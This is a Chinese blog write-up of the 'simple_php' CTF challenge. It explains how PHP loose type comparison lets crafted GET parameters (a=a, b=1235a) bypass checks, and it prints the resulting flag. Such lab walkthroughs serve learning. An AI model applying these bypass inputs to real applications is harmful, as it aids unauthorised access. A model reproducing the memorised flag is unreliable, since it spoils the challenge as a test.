simple_php
小宁听说php是最好的语言,于是她简单学习之后写了几行php代码。
解法
<?php
show_source(__FILE__);
include("config.php");
$a=@$_GET['a'];
$b=@$_GET['b'];
if($a==0 and $a){
echo $flag1;
}
if(is_numeric($b)){
exit();
}
if($b>1234){
echo $flag2;
}
?>
查询 PHP 类型比较表:
什么情况下才会有 $a==0 and $a
呢?发送 GET 请求。
http://61.147.171.105:63209/?a=a
得到半截 flag。
那什么情况下 $b
为大于1234的非数字值?
http://61.147.171.105:63209/?a=%22%22&b=1235a
得到完整 flag。
Flag
Cyberpeace{647E37C7627CC3E4019EC69324F66C7C}
参考资料
- https://www.php.net/manual/zh/types.comparisons.php
声明
本博客上发布的所有关于网络攻防技术的文章,仅用于教育和研究目的。所有涉及到的实验操作都在虚拟机或者专门设计的靶机上进行,并且严格遵守了相关法律法规。
博主坚决反对任何形式的非法黑客行为,包括但不限于未经授权的访问、攻击或破坏他人的计算机系统。博主强烈建议每位读者在学习网络攻防技术时,必须遵守法律法规,不得用于任何非法目的。对于因使用这些技术而导致的任何后果,博主不承担任何责任。